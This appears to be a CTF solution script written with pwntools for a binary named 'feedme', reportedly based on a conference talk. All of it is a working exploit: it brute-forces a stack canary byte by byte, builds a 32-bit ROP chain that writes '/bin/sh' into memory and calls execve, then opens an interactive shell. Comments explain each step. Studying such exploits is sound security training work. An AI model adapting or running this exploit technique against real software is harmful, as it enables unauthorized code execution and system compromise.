# This is based off of a Raytheon SI Govs talk

# First we import pwntools
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	# We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary
	known_canary = "\x00"
	# Ascii representation of the canary
	hex_canary = "00"
	# The current canary which will be incremented
	canary = 0x0
	# The number of bytes we will give as input
	inp_bytes = 0x22
	# Iterate 3 times for the three bytes we need to brute force
	for j in range(0, 3):
		# Iterate up to 0xff times to brute force all posible values for byte
		for i in xrange(0xff):
			log.info("Trying canary: " + hex(canary) + hex_canary) 
			
			# Send the current input size
			target.send(p32(inp_bytes)[0])

			# Send this iterations canary
			target.send("0"*0x20 + known_canary + p32(canary)[0])

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil("exit.")
			if "YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print "next byte is: " + hex(canary)
				known_canary = known_canary + p32(canary)[0]
				inp_bytes = inp_bytes + 1
				new_canary = hex(canary)
				new_canary = new_canary.replace("0x", "")
				hex_canary = new_canary + hex_canary
				canary = 0x0
				break
			else:
				# If this isn't the canary value, increment canary by one and move onto next loop
				canary = canary + 0x1

	# Return the canary
	return int(hex_canary, 16)

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info("The canary is: " + hex(canary))


# Now that we have the canary, we can start making our final payload

# This will cover the space up to, and including the canary
payload = "0"*0x20 + p32(canary)

# This will cover the rest of the space between the canary and the return address
payload += "1"*0xc

# Start putting together the ROP Chain

# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496)	# pop eax ; ret
payload += p32(0x80eb928)	# bss address
payload += p32(0x0806f34a)	# pop edx
payload	+= p32(0x6e69622f)	# /bin string in hex, in little endian
payload += p32(0x0807be31)	# mov dword ptr [eax], edx ; ret

# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496)	# pop eax ; ret
payload += p32(0x80eb928 + 0x4)	# bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)	# pop edx
payload	+= p32(0x0068732f)	# /sh string in hex, in little endian
payload += p32(0x0807be31)	# mov dword ptr [eax], edx ; ret

# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496)	# pop eax ; ret
payload += p32(0xb)			# 11
payload += p32(0x0806f371)	# pop ecx ; pop ebx ; ret
payload += p32(0x0)			# 0x0
payload += p32(0x80eb928)	# bss address
payload += p32(0x0806f34a)	# pop edx ; ret
payload += p32(0x0)			# 0x0
payload += p32(0x8049761)	# syscall

# Send the amount of bytes for our payload, and the payload itself
target.send("\x78")
target.send(payload)

# Drop to an interactive shell
target.interactive()